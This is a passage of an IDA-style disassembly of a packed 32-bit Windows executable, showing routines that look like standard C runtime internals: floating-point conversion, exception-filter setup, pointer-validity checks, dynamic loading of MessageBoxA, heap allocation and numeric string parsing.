		jz	short loc_424EAB
		cmp	ebx, edi
		jz	short loc_424EA4
		lea	edi, [ecx+3C00h]
		jmp	short loc_424ECC
; ---------------------------------------------------------------------------


loc_424EA4:				; CODE XREF: sub_424E5D+3Dj
		mov	edi, 7FFFh
		jmp	short loc_424ECC
; ---------------------------------------------------------------------------


loc_424EAB:				; CODE XREF: sub_424E5D+39j
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_424EC3
		cmp	edx, ebx
		jnz	short loc_424EC3
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], bx
		jmp	short loc_424F0E
; ---------------------------------------------------------------------------


loc_424EC3:				; CODE XREF: sub_424E5D+52j
					; sub_424E5D+56j
		lea	edi, [ecx+3C01h]
		mov	[ebp+var_4], ebx


loc_424ECC:				; CODE XREF: sub_424E5D+45j
					; sub_424E5D+4Cj
		mov	ecx, edx
		shr	ecx, 15h
		shl	eax, 0Bh
		or	ecx, eax
		mov	eax, [ebp+arg_0]
		or	ecx, [ebp+var_4]
		shl	edx, 0Bh
		mov	[eax+4], ecx
		mov	[eax], edx


loc_424EE4:				; CODE XREF: sub_424E5D+A6j
		test	ecx, esi
		jnz	short loc_424F05
		mov	edx, [eax]
		add	ecx, ecx
		mov	ebx, edx
		shr	ebx, 1Fh
		or	ebx, ecx
		lea	ecx, [edx+edx]
		mov	[eax], ecx
		mov	[eax+4], ebx
		add	edi, 0FFFFh
		mov	ecx, ebx
		jmp	short loc_424EE4
; ---------------------------------------------------------------------------


loc_424F05:				; CODE XREF: sub_424E5D+89j
		mov	ecx, [ebp+arg_4]
		or	ecx, edi
		mov	[eax+8], cx


loc_424F0E:				; CODE XREF: sub_424E5D+64j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424E5D	endp

; ---------------------------------------------------------------------------
		push	2
		call	sub_41E2C9
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_424F1C	proc near		; DATA XREF: sub_424F62o
					; .packed:0043D448o ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_424F3F
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_424F3F
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_424F3F
		jmp	sub_422DFC
; ---------------------------------------------------------------------------


loc_424F3F:				; CODE XREF: sub_424F1C+Dj
					; sub_424F1C+13j ...
		mov	eax, dword_4DBFF8
		test	eax, eax
		jz	short loc_424F5C
		push	eax
		call	sub_424FB8
		test	eax, eax
		pop	ecx
		jz	short loc_424F5C
		push	esi
		call	dword_4DBFF8
		jmp	short loc_424F5E
; ---------------------------------------------------------------------------


loc_424F5C:				; CODE XREF: sub_424F1C+2Aj
					; sub_424F1C+35j
		xor	eax, eax


loc_424F5E:				; CODE XREF: sub_424F1C+3Ej
		pop	esi
		retn	4
sub_424F1C	endp


; =============== S U B	R O U T	I N E =======================================



sub_424F62	proc near		; DATA XREF: .packed:00429024o
		push	offset sub_424F1C
		call	dword_427010	; SetUnhandledExceptionFilter
		mov	dword_4DBFF8, eax
		retn
sub_424F62	endp


; =============== S U B	R O U T	I N E =======================================



sub_424F73	proc near		; DATA XREF: .packed:0042903Co
		push	dword_4DBFF8
		call	dword_427010	; SetUnhandledExceptionFilter
		retn
sub_424F73	endp


; =============== S U B	R O U T	I N E =======================================



sub_424F80	proc near		; CODE XREF: sub_422651+6Bp
					; sub_422B62+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	dword_42700C	; IsBadReadPtr
		test	eax, eax
		jz	short loc_424F98
		xor	esi, esi


loc_424F98:				; CODE XREF: sub_424F80+14j
		mov	eax, esi
		pop	esi
		retn
sub_424F80	endp


; =============== S U B	R O U T	I N E =======================================



sub_424F9C	proc near		; CODE XREF: sub_422B62+73p
					; sub_422B62+BFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	dword_427060	; IsBadWritePtr
		test	eax, eax
		jz	short loc_424FB4
		xor	esi, esi


loc_424FB4:				; CODE XREF: sub_424F9C+14j
		mov	eax, esi
		pop	esi
		retn
sub_424F9C	endp


; =============== S U B	R O U T	I N E =======================================



sub_424FB8	proc near		; CODE XREF: sub_422B62+15Bp
					; sub_424F1C+2Dp

arg_0		= dword	ptr  4

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_0]
		call	dword_427008	; IsBadCodePtr
		test	eax, eax
		jz	short loc_424FCC
		xor	esi, esi


loc_424FCC:				; CODE XREF: sub_424FB8+10j
		mov	eax, esi
		pop	esi
		retn
sub_424FB8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_422DFC


loc_424FD0:				; CODE XREF: sub_422DFC:loc_422E4Dj
		push	0Ah
		call	sub_423DD1
		push	16h
		call	sub_425C06
		pop	ecx
		pop	ecx
		push	3
		call	sub_41C1A2
; END OF FUNCTION CHUNK	FOR sub_422DFC

; =============== S U B	R O U T	I N E =======================================



sub_424FE7	proc near		; CODE XREF: sub_42367B+2Bp

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		call	sub_424FF8
		add	esp, 0Ch
		retn
sub_424FE7	endp


; =============== S U B	R O U T	I N E =======================================



sub_424FF8	proc near		; CODE XREF: sub_424FE7+8p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movzx	eax, [esp+arg_0]
		mov	cl, [esp+arg_8]
		test	byte_4DD281[eax], cl
		jnz	short loc_425025
		cmp	[esp+arg_4], 0
		jz	short loc_42501E
		movzx	eax, word_43CE92[eax*2]
		and	eax, [esp+arg_4]
		jmp	short loc_425020
; ---------------------------------------------------------------------------


loc_42501E:				; CODE XREF: sub_424FF8+16j
		xor	eax, eax


loc_425020:				; CODE XREF: sub_424FF8+24j
		test	eax, eax
		jnz	short loc_425025
		retn
; ---------------------------------------------------------------------------


loc_425025:				; CODE XREF: sub_424FF8+Fj
					; sub_424FF8+2Aj
		push	1
		pop	eax
		retn
sub_424FF8	endp


; =============== S U B	R O U T	I N E =======================================



sub_425029	proc near		; CODE XREF: sub_423DD1+11Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		xor	ebx, ebx
		cmp	dword_4DBFFC, ebx
		push	esi
		push	edi
		jnz	short loc_425078
		push	offset aUser32_dll ; "user32.dll"
		call	dword_4270C0	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4250AE
		mov	esi, dword_4270C4
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi	; GetProcAddress
		test	eax, eax
		mov	dword_4DBFFC, eax
		jz	short loc_4250AE
		push	offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		call	esi	; GetProcAddress
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	dword_4DC000, eax
		call	esi	; GetProcAddress
		mov	dword_4DC004, eax


loc_425078:				; CODE XREF: sub_425029+Bj
		mov	eax, dword_4DC000
		test	eax, eax
		jz	short loc_425097
		call	eax
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_425097
		mov	eax, dword_4DC004
		test	eax, eax
		jz	short loc_425097
		push	ebx
		call	eax
		mov	ebx, eax


loc_425097:				; CODE XREF: sub_425029+56j
					; sub_425029+5Ej ...
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		push	ebx
		call	dword_4DBFFC


loc_4250AA:				; CODE XREF: sub_425029+87j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4250AE:				; CODE XREF: sub_425029+1Cj
					; sub_425029+33j
		xor	eax, eax
		jmp	short loc_4250AA
sub_425029	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4250B2	proc near		; CODE XREF: sub_42413E+22p
					; sub_42413E+3Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		imul	esi, [ebp+arg_4]
		cmp	esi, 0FFFFFFE0h
		push	edi
		mov	[ebp+arg_0], esi
		ja	short loc_4250D3
		test	esi, esi
		jnz	short loc_4250CD
		push	1
		pop	esi


loc_4250CD:				; CODE XREF: sub_4250B2+16j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_4250D3:				; CODE XREF: sub_4250B2+12j
					; sub_4250B2+94j
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	short loc_425132
		mov	eax, dword_4DD3A8
		cmp	eax, 3
		jnz	short loc_4250FE
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4DD3A0
		ja	short loc_42511D
		push	eax
		call	sub_41EA6B
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_425148
		jmp	short loc_42511D
; ---------------------------------------------------------------------------


loc_4250FE:				; CODE XREF: sub_4250B2+30j
		cmp	eax, 2
		jnz	short loc_42511D
		cmp	esi, dword_43CE84
		ja	short loc_42511D
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41F50E
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_42515C


loc_42511D:				; CODE XREF: sub_4250B2+3Bj
					; sub_4250B2+4Aj ...
		push	esi
		push	8
		push	dword_4DD3A4
		call	dword_427150	; RtlAllocateHeap
		mov	edi, eax
		test	edi, edi
		jnz	short loc_425156


loc_425132:				; CODE XREF: sub_4250B2+26j
		cmp	dword_4DBE58, 0
		jz	short loc_425156
		push	esi
		call	sub_41FBB2
		test	eax, eax
		pop	ecx
		jz	short loc_42515F
		jmp	short loc_4250D3
; ---------------------------------------------------------------------------


loc_425148:				; CODE XREF: sub_4250B2+48j
		push	[ebp+arg_0]


loc_42514B:				; CODE XREF: sub_4250B2+ABj
		push	0
		push	edi
		call	sub_41BF70
		add	esp, 0Ch


loc_425156:				; CODE XREF: sub_4250B2+7Ej
					; sub_4250B2+87j
		mov	eax, edi


loc_425158:				; CODE XREF: sub_4250B2+AFj
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42515C:				; CODE XREF: sub_4250B2+69j
		push	esi
		jmp	short loc_42514B
; ---------------------------------------------------------------------------


loc_42515F:				; CODE XREF: sub_4250B2+92j
		xor	eax, eax
		jmp	short loc_425158
sub_4250B2	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4241E3


loc_425163:				; CODE XREF: sub_4241E3+Ej
		push	esi
		push	edi
		push	3
		xor	edi, edi
		pop	esi
		cmp	dword_4DD040, esi
		jle	short loc_4251B6


loc_425172:				; CODE XREF: sub_4241E3+FD1j
		mov	eax, dword_4DC02C
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_4251AD
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_425191
		push	eax
		call	sub_41BA3B
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_425191
		inc	edi


loc_425191:				; CODE XREF: sub_4241E3+F9Fj
					; sub_4241E3+FABj
		cmp	esi, 14h
		jl	short loc_4251AD
		mov	eax, dword_4DC02C
		push	dword ptr [eax+esi*4]
		call	sub_41BA91
		mov	eax, dword_4DC02C
		pop	ecx
		and	dword ptr [eax+esi*4], 0


loc_4251AD:				; CODE XREF: sub_4241E3+F99j
					; sub_4241E3+FB1j
		inc	esi
		cmp	esi, dword_4DD040
		jl	short loc_425172


loc_4251B6:				; CODE XREF: sub_4241E3+F8Dj
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_4241E3

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4251BB	proc near		; CODE XREF: sub_42423B+271p

var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_41C500
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	ebx, dword_4DD160
		jnb	loc_4252F0
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DD060[eax*4]
		test	byte ptr [eax+ecx*8+4],	1
		jz	loc_4252F0
		push	1
		push	esi
		push	ebx
		call	sub_422F09
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_4252FA
		push	2
		push	esi
		push	ebx
		call	sub_422F09
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_4252FA
		push	edi
		mov	edi, [ebp+arg_4]
		sub	edi, eax
		test	edi, edi
		jle	short loc_42529D
		push	1000h
		lea	eax, [ebp+var_1000]
		push	esi
		push	eax
		call	sub_41BF70


loc_425240:				; DATA XREF: .packed:00438CC0o
		push	8000h
		push	ebx
		call	sub_425D78
		add	esp, 14h
		mov	[ebp+arg_4], eax


loc_425251:				; CODE XREF: sub_4251BB+BDj
		mov	eax, 1000h
		cmp	edi, eax
		jge	short loc_42525C
		mov	eax, edi


loc_42525C:				; CODE XREF: sub_4251BB+9Dj
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	ebx
		call	sub_4230FB
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42527A
		sub	edi, eax
		test	edi, edi
		jle	short loc_425290
		jmp	short loc_425251
; ---------------------------------------------------------------------------


loc_42527A:				; CODE XREF: sub_4251BB+B5j
		cmp	dword_4DBDF0, 5
		jnz	short loc_42528D
		mov	dword_4DBDEC, 0Dh


loc_42528D:				; CODE XREF: sub_4251BB+C6j
		or	esi, 0FFFFFFFFh


loc_425290:				; CODE XREF: sub_4251BB+BBj
		push	[ebp+arg_4]
		push	ebx
		call	sub_425D78
		pop	ecx
		pop	ecx
		jmp	short loc_4252DD
; ---------------------------------------------------------------------------


loc_42529D:				; CODE XREF: sub_4251BB+71j
		jge	short loc_4252DD
		push	0
		push	[ebp+arg_4]
		push	ebx
		call	sub_422F09
		push	ebx
		call	sub_4240AA
		add	esp, 10h
		push	eax
		call	dword_427004	; SetEndOfFile
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		neg	esi
		dec	esi
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4252DD
		mov	dword_4DBDEC, 0Dh
		call	dword_427094	; RtlGetLastWin32Error
		mov	dword_4DBDF0, eax


loc_4252DD:				; CODE XREF: sub_4251BB+E0j
					; sub_4251BB:loc_42529Dj ...
		push	0
		push	[ebp+arg_0]
		push	ebx
		call	sub_422F09
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		jmp	short loc_4252FD
; ---------------------------------------------------------------------------


loc_4252F0:				; CODE XREF: sub_4251BB+1Aj
					; sub_4251BB+36j
		mov	dword_4DBDEC, 9


loc_4252FA:				; CODE XREF: sub_4251BB+4Ej
					; sub_4251BB+63j
		or	eax, 0FFFFFFFFh


loc_4252FD:				; CODE XREF: sub_4251BB+133j
		pop	esi
		pop	ebx
		leave
		retn
sub_4251BB	endp


; =============== S U B	R O U T	I N E =======================================



sub_425301	proc near		; CODE XREF: sub_4249DF+2Bp
					; sub_4249DF+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		lea	ecx, [edx+esi]
		cmp	ecx, edx
		jb	short loc_425317
		cmp	ecx, esi
		jnb	short loc_42531A


loc_425317:				; CODE XREF: sub_425301+10j
		push	1
		pop	eax


loc_42531A:				; CODE XREF: sub_425301+14j
		mov	edx, [esp+4+arg_8]
		pop	esi
		mov	[edx], ecx
		retn
sub_425301	endp


; =============== S U B	R O U T	I N E =======================================



sub_425322	proc near		; CODE XREF: sub_4253DB+40p
					; sub_4253DB+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	esi
		push	dword ptr [edi]
		push	dword ptr [esi]
		call	sub_425301
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425354
		lea	eax, [esi+4]
		push	eax
		push	1
		push	dword ptr [eax]
		call	sub_425301
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425354
		inc	dword ptr [esi+8]


loc_425354:				; CODE XREF: sub_425322+19j
					; sub_425322+2Dj
		lea	eax, [esi+4]
		push	eax
		push	dword ptr [edi+4]
		push	dword ptr [eax]
		call	sub_425301
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42536C
		inc	dword ptr [esi+8]


loc_42536C:				; CODE XREF: sub_425322+45j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+8]
		push	dword ptr [eax]
		call	sub_425301
		add	esp, 0Ch
		pop	edi
		pop	esi
		retn
sub_425322	endp


; =============== S U B	R O U T	I N E =======================================



sub_425380	proc near		; CODE XREF: sub_4253DB+30p
					; sub_4253DB+36p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, [eax]
		mov	edi, [eax+4]
		mov	ecx, esi
		add	esi, esi
		mov	[eax], esi
		lea	esi, [edi+edi]
		shr	ecx, 1Fh
		or	esi, ecx
		mov	ecx, [eax+8]
		mov	edx, edi
		mov	[eax+4], esi
		shr	edx, 1Fh
		shl	ecx, 1
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		pop	esi
		retn
sub_425380	endp


; =============== S U B	R O U T	I N E =======================================



sub_4253AE	proc near		; CODE XREF: sub_425973+1C8p
					; sub_425DEE+17Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edx, [eax+8]
		mov	ecx, [eax+4]
		mov	esi, edx
		mov	edi, ecx
		shl	esi, 1Fh
		shr	ecx, 1
		or	ecx, esi
		mov	[eax+4], ecx
		mov	ecx, [eax]
		shl	edi, 1Fh
		shr	ecx, 1
		shr	edx, 1
		or	ecx, edi
		pop	edi
		mov	[eax+8], edx
		mov	[eax], ecx
		pop	esi
		retn
sub_4253AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4253DB	proc near		; CODE XREF: sub_4254A2+3CAp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_8]
		xor	edx, edx
		cmp	eax, edx
		push	esi
		mov	[ebp+var_4], 404Eh
		mov	[ebx], edx
		mov	[ebx+4], edx
		mov	[ebx+8], edx
		jbe	short loc_42544F
		push	edi
		mov	[ebp+arg_8], eax


loc_425402:				; CODE XREF: sub_4253DB+6Fj
		mov	esi, ebx
		lea	edi, [ebp+var_10]
		movsd
		movsd
		push	ebx
		movsd
		call	sub_425380
		push	ebx
		call	sub_425380
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_425322
		push	ebx
		call	sub_425380
		mov	eax, [ebp+arg_0]
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		movsx	eax, byte ptr [eax]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_425322
		add	esp, 1Ch
		inc	[ebp+arg_0]
		dec	[ebp+arg_8]
		jnz	short loc_425402
		xor	edx, edx
		pop	edi


loc_42544F:				; CODE XREF: sub_4253DB+21j
					; sub_4253DB+9Fj
		cmp	[ebx+8], edx
		jnz	short loc_42547C
		mov	ecx, [ebx+4]
		mov	eax, ecx
		shr	eax, 10h
		mov	[ebx+8], eax
		mov	eax, [ebx]
		mov	esi, eax
		shr	esi, 10h
		shl	ecx, 10h
		or	esi, ecx
		shl	eax, 10h
		add	[ebp+var_4], 0FFF0h
		mov	[ebx+4], esi
		mov	[ebx], eax
		jmp	short loc_42544F
; ---------------------------------------------------------------------------


loc_42547C:				; CODE XREF: sub_4253DB+77j
		mov	esi, 8000h


loc_425481:				; CODE XREF: sub_4253DB+B9j
		test	[ebx+8], esi
		jnz	short loc_425496
		push	ebx
		call	sub_425380
		add	[ebp+var_4], 0FFFFh
		pop	ecx
		jmp	short loc_425481
; ---------------------------------------------------------------------------


loc_425496:				; CODE XREF: sub_4253DB+A9j
		mov	ax, word ptr [ebp+var_4]
		pop	esi
		mov	[ebx+0Ah], ax
		pop	ebx
		leave
		retn
sub_4253DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4254A2	proc near		; CODE XREF: sub_424D28+17p
					; sub_424D55+17p

var_5C		= byte ptr -5Ch
var_45		= byte ptr -45h
var_40		= dword	ptr -40h
var_3A		= dword	ptr -3Ah
var_36		= dword	ptr -36h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	eax, [ebp+var_5C]
		push	1
		mov	[ebp+var_C], eax
		xor	eax, eax
		pop	edx
		mov	[ebp+var_28], eax
		mov	[ebp+var_18], edx
		mov	[ebp+var_4], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_2C], eax
		mov	[ebp+var_30], eax
		mov	[ebp+var_1C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_14], eax
		mov	[ebp+arg_8], edi


loc_4254DD:				; CODE XREF: sub_4254A2+52j
		mov	cl, [edi]
		cmp	cl, 20h
		jz	short loc_4254F3
		cmp	cl, 9
		jz	short loc_4254F3
		cmp	cl, 0Ah
		jz	short loc_4254F3
		cmp	cl, 0Dh
		jnz	short loc_4254F6


loc_4254F3:				; CODE XREF: sub_4254A2+40j
					; sub_4254A2+45j ...
		inc	edi
		jmp	short loc_4254DD
; ---------------------------------------------------------------------------


loc_4254F6:				; CODE XREF: sub_4254A2+4Fj
		push	4
		pop	esi


loc_4254F9:				; CODE XREF: sub_4254A2+AEj
					; sub_4254A2+B7j ...
		mov	bl, [edi]
		inc	edi
		cmp	eax, 0Bh	; switch 12 cases
		ja	loc_42577C	; default
					; jumptable 00425505 case 10
		jmp	off_425943[eax*4] ; switch jump


loc_42550C:				; DATA XREF: .packed:off_425943o
		cmp	bl, 31h		; jumptable 00425505 case 0
		jl	short loc_42551D
		cmp	bl, 39h
		jg	short loc_42551D


loc_425516:				; CODE XREF: sub_4254A2+C4j
					; sub_4254A2+118j
		push	3
		jmp	loc_42573A
; ---------------------------------------------------------------------------


loc_42551D:				; CODE XREF: sub_4254A2+6Dj
					; sub_4254A2+72j
		cmp	bl, byte_43D098
		jnz	short loc_42552C


loc_425525:				; CODE XREF: sub_4254A2+124j
		push	5
		jmp	loc_425772
; ---------------------------------------------------------------------------


loc_42552C:				; CODE XREF: sub_4254A2+81j
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_425552
		dec	eax
		dec	eax
		jz	short loc_425546
		sub	eax, 3
		jnz	loc_425815
		jmp	loc_4255D5
; ---------------------------------------------------------------------------


loc_425546:				; CODE XREF: sub_4254A2+94j
		push	2
		mov	[ebp+var_28], 8000h
		pop	eax
		jmp	short loc_4254F9
; ---------------------------------------------------------------------------


loc_425552:				; CODE XREF: sub_4254A2+90j
		and	[ebp+var_28], 0
		push	2
		pop	eax
		jmp	short loc_4254F9
; ---------------------------------------------------------------------------


loc_42555B:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: .packed:off_425943o
		cmp	bl, 31h		; jumptable 00425505 case 1
		mov	[ebp+var_10], edx
		jl	short loc_425568
		cmp	bl, 39h
		jle	short loc_425516


loc_425568:				; CODE XREF: sub_4254A2+BFj
		cmp	bl, byte_43D098
		jz	loc_425630
		cmp	bl, 2Bh
		jz	short loc_4255AA
		cmp	bl, 2Dh
		jz	short loc_4255AA
		cmp	bl, 30h
		jz	short loc_4255D5


loc_425583:				; CODE XREF: sub_4254A2+207j
		cmp	bl, 43h
		jle	loc_425815
		cmp	bl, 45h
		jle	short loc_4255A3
		cmp	bl, 63h
		jle	loc_425815
		cmp	bl, 65h
		jg	loc_425815


loc_4255A3:				; CODE XREF: sub_4254A2+EDj
		push	6
		jmp	loc_425772
; ---------------------------------------------------------------------------


loc_4255AA:				; CODE XREF: sub_4254A2+D5j
					; sub_4254A2+DAj ...
		dec	edi
		push	0Bh
		jmp	loc_425772
; ---------------------------------------------------------------------------


loc_4255B2:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: .packed:off_425943o
		cmp	bl, 31h		; jumptable 00425505 case 2
		jl	short loc_4255C0
		cmp	bl, 39h
		jle	loc_425516


loc_4255C0:				; CODE XREF: sub_4254A2+113j
		cmp	bl, byte_43D098
		jz	loc_425525
		cmp	bl, 30h
		jnz	loc_42578A


loc_4255D5:				; CODE XREF: sub_4254A2+9Fj
					; sub_4254A2+DFj
		mov	eax, edx
		jmp	loc_4254F9
; ---------------------------------------------------------------------------


loc_4255DC:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: .packed:off_425943o
		mov	[ebp+var_10], edx ; jumptable 00425505 case 3


loc_4255DF:				; CODE XREF: sub_4254A2+184j
		cmp	dword_43D094, edx
		jle	short loc_4255F8
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_425606
; ---------------------------------------------------------------------------


loc_4255F8:				; CODE XREF: sub_4254A2+143j
		mov	ecx, off_43CE88
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_425606:				; CODE XREF: sub_4254A2+154j
		test	eax, eax
		jz	short loc_425628
		cmp	[ebp+var_4], 19h
		jnb	short loc_425620
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		mov	[eax], bl
		jmp	short loc_425623
; ---------------------------------------------------------------------------


loc_425620:				; CODE XREF: sub_4254A2+16Cj
		inc	[ebp+var_8]


loc_425623:				; CODE XREF: sub_4254A2+17Cj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_4255DF
; ---------------------------------------------------------------------------


loc_425628:				; CODE XREF: sub_4254A2+166j
		cmp	bl, byte_43D098
		jnz	short loc_425697


loc_425630:				; CODE XREF: sub_4254A2+CCj
		mov	eax, esi
		jmp	loc_4254F9
; ---------------------------------------------------------------------------


loc_425637:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: .packed:off_425943o
		cmp	[ebp+var_4], 0	; jumptable 00425505 case 4
		mov	[ebp+var_10], edx
		mov	[ebp+var_24], edx
		jnz	short loc_425650


loc_425643:				; CODE XREF: sub_4254A2+1ACj
		cmp	bl, 30h
		jnz	short loc_425650
		dec	[ebp+var_8]
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425643
; ---------------------------------------------------------------------------


loc_425650:				; CODE XREF: sub_4254A2+19Fj
					; sub_4254A2+1A4j ...
		cmp	dword_43D094, edx
		jle	short loc_425669
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_425677
; ---------------------------------------------------------------------------


loc_425669:				; CODE XREF: sub_4254A2+1B4j
		mov	ecx, off_43CE88
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_425677:				; CODE XREF: sub_4254A2+1C5j
		test	eax, eax
		jz	short loc_425697
		cmp	[ebp+var_4], 19h
		jnb	short loc_425692
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		dec	[ebp+var_8]
		mov	[eax], bl


loc_425692:				; CODE XREF: sub_4254A2+1DDj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425650
; ---------------------------------------------------------------------------


loc_425697:				; CODE XREF: sub_4254A2+18Cj
					; sub_4254A2+1D7j
		cmp	bl, 2Bh
		jz	loc_4255AA
		cmp	bl, 2Dh
		jz	loc_4255AA
		jmp	loc_425583
; ---------------------------------------------------------------------------


loc_4256AE:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: .packed:off_425943o
		cmp	dword_43D094, edx ; jumptable 00425505 case 5
		mov	[ebp+var_24], edx
		jle	short loc_4256CA
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_4256D8
; ---------------------------------------------------------------------------


loc_4256CA:				; CODE XREF: sub_4254A2+215j
		mov	ecx, off_43CE88
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_4256D8:				; CODE XREF: sub_4254A2+226j
		test	eax, eax
